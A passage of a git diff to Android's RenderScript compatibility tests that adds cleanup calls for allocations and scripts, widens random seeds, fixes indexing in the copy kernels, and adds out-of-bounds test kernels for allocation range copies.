             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testTanpiHalf4Half4(inV, out);
             verifyResultsTanpiHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testTanpiHalf4Half4(inV, out);
             verifyResultsTanpiHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTanpiHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTanpiHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgamma.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgamma.java
index 4d277f0..edf14b6 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgamma.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTgamma.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestTgammaRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkTgammaFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xeda55486l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x5c02c6a0eda55486l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testTgammaFloatFloat(inV, out);
             verifyResultsTgammaFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testTgammaFloatFloat(inV, out);
             verifyResultsTgammaFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTgammaFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkTgammaFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x3399bcbal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8fe7559b3399bcbal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testTgammaFloat2Float2(inV, out);
             verifyResultsTgammaFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testTgammaFloat2Float2(inV, out);
             verifyResultsTgammaFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTgammaFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkTgammaFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x29b4dd98l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8fe91eb629b4dd98l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testTgammaFloat3Float3(inV, out);
             verifyResultsTgammaFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testTgammaFloat3Float3(inV, out);
             verifyResultsTgammaFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTgammaFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkTgammaFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x1fcffe76l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8feae7d11fcffe76l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testTgammaFloat4Float4(inV, out);
             verifyResultsTgammaFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testTgammaFloat4Float4(inV, out);
             verifyResultsTgammaFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTgammaFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkTgammaHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xcaee5aa0l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xee05096fcaee5aa0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testTgammaHalfHalf(inV, out);
             verifyResultsTgammaHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testTgammaHalfHalf(inV, out);
             verifyResultsTgammaHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTgammaHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkTgammaHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5ac39bc2l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x226038545ac39bc2l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testTgammaHalf2Half2(inV, out);
             verifyResultsTgammaHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testTgammaHalf2Half2(inV, out);
             verifyResultsTgammaHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTgammaHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkTgammaHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb9cb60b6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x226042f5b9cb60b6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testTgammaHalf3Half3(inV, out);
             verifyResultsTgammaHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testTgammaHalf3Half3(inV, out);
             verifyResultsTgammaHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTgammaHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkTgammaHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x18d325aal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x22604d9718d325aal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testTgammaHalf4Half4(inV, out);
             verifyResultsTgammaHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testTgammaHalf4Half4(inV, out);
             verifyResultsTgammaHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTgammaHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTgammaHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTrunc.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTrunc.java
index 0293b96..8f8cbf8 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTrunc.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestTrunc.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestTruncRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkTruncFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x11eebe01l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb16f216b11eebe01l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testTruncFloatFloat(inV, out);
             verifyResultsTruncFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testTruncFloatFloat(inV, out);
             verifyResultsTruncFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTruncFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkTruncFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x49d4961dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8b83139b49d4961dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testTruncFloat2Float2(inV, out);
             verifyResultsTruncFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testTruncFloat2Float2(inV, out);
             verifyResultsTruncFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTruncFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkTruncFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3fefb6fbl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8b84dcb63fefb6fbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testTruncFloat3Float3(inV, out);
             verifyResultsTruncFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testTruncFloat3Float3(inV, out);
             verifyResultsTruncFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTruncFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkTruncFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x360ad7d9l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8b86a5d1360ad7d9l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testTruncFloat4Float4(inV, out);
             verifyResultsTruncFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testTruncFloat4Float4(inV, out);
             verifyResultsTruncFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTruncFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkTruncHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x4b4bfcf3l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x1aa5d6f34b4bfcf3l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testTruncHalfHalf(inV, out);
             verifyResultsTruncHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testTruncHalfHalf(inV, out);
             verifyResultsTruncHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTruncHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkTruncHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x7f0d053dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x77cc931e7f0d053dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testTruncHalf2Half2(inV, out);
             verifyResultsTruncHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testTruncHalf2Half2(inV, out);
             verifyResultsTruncHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTruncHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkTruncHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xde14ca31l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x77cc9dbfde14ca31l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testTruncHalf3Half3(inV, out);
             verifyResultsTruncHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testTruncHalf3Half3(inV, out);
             verifyResultsTruncHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTruncHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkTruncHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x3d1c8f25l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x77cca8613d1c8f25l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testTruncHalf4Half4(inV, out);
             verifyResultsTruncHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testTruncHalf4Half4(inV, out);
             verifyResultsTruncHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testTruncHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsTruncHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/getset.rs b/tests/tests/renderscript/src/android/renderscript/cts/getset.rs
index 4a8fa7f..f2040e5 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/getset.rs
+++ b/tests/tests/renderscript/src/android/renderscript/cts/getset.rs
@@ -69,20 +69,23 @@
         rsSetElementAt_##ty(gAlloc2DOut, i, x, y);                    \
     }                                                               \
     void __attribute__((kernel)) copy2D_##ty##2(int idx) {          \
-        uint x = idx % gWidth;                                      \
-        uint y = idx / gWidth;                                      \
+        uint realWidth = gWidth / 2;                                \
+        uint x = idx % realWidth;                                      \
+        uint y = idx / realWidth;                                      \
         ty##2 i = rsGetElementAt_##ty##2(gAlloc2DIn, x, y);           \
         rsSetElementAt_##ty##2(gAlloc2DOut, i, x, y);                 \
     }                                                               \
     void __attribute__((kernel)) copy2D_##ty##3(int idx) {          \
-        uint x = idx % gWidth;                                      \
-        uint y = idx / gWidth;                                      \
+        uint realWidth = gWidth / 4;                                \
+        uint x = idx % realWidth;                                      \
+        uint y = idx / realWidth;                                      \
         ty##3 i = rsGetElementAt_##ty##3(gAlloc2DIn, x, y);           \
         rsSetElementAt_##ty##3(gAlloc2DOut, i, x, y);                 \
     }                                                               \
     void __attribute__((kernel)) copy2D_##ty##4(int idx) {          \
-        uint x = idx % gWidth;                                      \
-        uint y = idx / gWidth;                                      \
+        uint realWidth = gWidth / 4;                                \
+        uint x = idx % realWidth;                                      \
+        uint y = idx / realWidth;                                      \
         ty##4 i = rsGetElementAt_##ty##4(gAlloc2DIn, x, y);           \
         rsSetElementAt_##ty##4(gAlloc2DOut, i, x, y);                 \
     }
@@ -109,23 +112,26 @@
         rsSetElementAt_##ty(gAlloc3DOut, i, x, y, z);                 \
     }                                                               \
     void __attribute__((kernel)) copy3D_##ty##2(int idx) {          \
-        uint x = idx % gWidth;                                      \
-        uint y = (idx / gWidth) % gHeight;                          \
-        uint z = idx / (gWidth * gHeight);                          \
+        uint realWidth = gWidth / 2;                                \
+        uint x = idx % realWidth;                                   \
+        uint y = (idx / realWidth) % gHeight;                       \
+        uint z = idx / (realWidth * gHeight);                       \
         ty##2 i = rsGetElementAt_##ty##2(gAlloc3DIn, x, y, z);        \
         rsSetElementAt_##ty##2(gAlloc3DOut, i, x, y, z);              \
     }                                                               \
     void __attribute__((kernel)) copy3D_##ty##3(int idx) {          \
-        uint x = idx % gWidth;                                      \
-        uint y = (idx / gWidth) % gHeight;                          \
-        uint z = idx / (gWidth * gHeight);                          \
+        uint realWidth = gWidth / 4;                                \
+        uint x = idx % realWidth;                                   \
+        uint y = (idx / realWidth) % gHeight;                       \
+        uint z = idx / (realWidth * gHeight);                       \
         ty##3 i = rsGetElementAt_##ty##3(gAlloc3DIn, x, y, z);        \
         rsSetElementAt_##ty##3(gAlloc3DOut, i, x, y, z);              \
     }                                                               \
     void __attribute__((kernel)) copy3D_##ty##4(int idx) {          \
-        uint x = idx % gWidth;                                      \
-        uint y = (idx / gWidth) % gHeight;                          \
-        uint z = idx / (gWidth * gHeight);                          \
+        uint realWidth = gWidth / 4;                                \
+        uint x = idx % realWidth;                                   \
+        uint y = (idx / realWidth) % gHeight;                       \
+        uint z = idx / (realWidth * gHeight);                       \
         ty##4 i = rsGetElementAt_##ty##4(gAlloc3DIn, x, y, z);        \
         rsSetElementAt_##ty##4(gAlloc3DOut, i, x, y, z);              \
     }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/oob.rs b/tests/tests/renderscript/src/android/renderscript/cts/oob.rs
index d27a8ca..404473f 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/oob.rs
+++ b/tests/tests/renderscript/src/android/renderscript/cts/oob.rs
@@ -10,3 +10,26 @@
     rsSetElementAt_int(aInt, 1, 1);
 }
 
+// OOB tests on rsAllocationCopy[12]DRange
+rs_allocation aIn1D;
+rs_allocation aOut1D;
+rs_allocation aIn2D;
+rs_allocation aOut2D;
+
+int dstXOff = 0;
+int srcXOff = 0;
+int yOff = 0;
+int xCount = 0;
+int yCount = 0;
+int srcMip = 0;  // Only used in 1D tests
+int dstMip = 0;  // Ditto.
+
+void test1D() {
+    rsAllocationCopy1DRange(aOut1D, dstXOff, dstMip, xCount,
+		    aIn1D, srcXOff, srcMip);
+}
+
+void test2D() {
+    rsAllocationCopy2DRange(aOut2D, dstXOff, yOff, 0, 0, xCount, yCount,
+		    aIn2D, srcXOff, yOff, 0, 0);
+}
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/refocus/ImageBuffersForRenderScript.java b/tests/tests/renderscript/src/android/renderscript/cts/refocus/ImageBuffersForRenderScript.java
index 9078764..fa7def6 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/refocus/ImageBuffersForRenderScript.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/refocus/ImageBuffersForRenderScript.java
@@ -56,4 +56,9 @@
     imageWidthPadded = inputImage.getWidth() + 2 * margin;
     imageHeightPadded = inputImage.getHeight() + 2 * margin;
   }
+
+  public void destroy() {
+    inAllocation.destroy();
+    outAllocation.destroy();
+  }
 }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java b/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java
index 042e2cc..9b355b0 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/refocus/RefocusTest.java
@@ -38,7 +38,7 @@
      * Test the orignal refocus code
      */
     public void testOriginalRefocus() {
-        refocus(RenderScriptTask.script.f32, Double.POSITIVE_INFINITY);
+        refocus(RenderScriptTask.script.f32, 95);
     }
 
     /**
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/refocus/RenderScriptTask.java b/tests/tests/renderscript/src/android/renderscript/cts/refocus/RenderScriptTask.java
index 29436c6..1f812a1 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/refocus/RenderScriptTask.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/refocus/RenderScriptTask.java
@@ -105,11 +105,13 @@
         RefocusFilterF32 rfFilterF32 = new RefocusFilterF32(renderScript);
         outputImage =
                 rfFilterF32.compute(rgbdImage, blurStack);
+        rfFilterF32.destroy();
         break;
       case d1new:
         RefocusFilterd1new rfFilterd1new = new RefocusFilterd1new(renderScript);
         outputImage =
                 rfFilterd1new.compute(rgbdImage, blurStack);
+        rfFilterd1new.destroy();
         break;
     }
 
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/refocus/d1new/ImageBuffersForRenderScriptd1new.java b/tests/tests/renderscript/src/android/renderscript/cts/refocus/d1new/ImageBuffersForRenderScriptd1new.java
index ac67ef6..4068d1e 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/refocus/d1new/ImageBuffersForRenderScriptd1new.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/refocus/d1new/ImageBuffersForRenderScriptd1new.java
@@ -47,6 +47,17 @@
   public Allocation sharpActiveAllocation;
   public Allocation sharpMatteAllocation;
 
+  public void destroy() {
+      super.destroy();
+    sharpRGBAAllocation.destroy();
+    fuzzyRGBAAllocation.destroy();
+    integralRGBAAllocation.destroy();
+    sharpActualDepthAllocation.destroy();
+    sharpDilatedDepthAllocation.destroy();
+    sharpActiveAllocation.destroy();
+    sharpMatteAllocation.destroy();
+  }
+
   /**
    * A constructor that allocates memory buffers in Java and binds the buffers
    * with the global pointers in the Render Script.
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/refocus/d1new/RefocusFilterd1new.java b/tests/tests/renderscript/src/android/renderscript/cts/refocus/d1new/RefocusFilterd1new.java
index 52bc4de..0981a54 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/refocus/d1new/RefocusFilterd1new.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/refocus/d1new/RefocusFilterd1new.java
@@ -48,11 +48,19 @@
   private static final float MIN_DISC_RADIUS_FOR_FAST_FILTER = 3;
   boolean useFastFilterForCurrentLayer = false;
   ImageBuffersForRenderScriptd1new buffers;
+  Allocation kernelInfo, kernelStack;
 
   public RefocusFilterd1new(RenderScript rs) {
     super(rs);
   }
 
+  public void destroy() {
+    buffers.destroy();
+    kernelInfo.destroy();
+    kernelStack.destroy();
+    scriptC.destroy();
+  }
+
   @Override
   protected void initializeScriptAndBuffers(Bitmap inputImage,
       LayerInfo focalLayer) {
@@ -93,6 +101,7 @@
     scriptC.forEach_PackSharpImage(mAllocation);
 
     mAllocation.copyTo(mBitmap);
+    mAllocation.destroy();
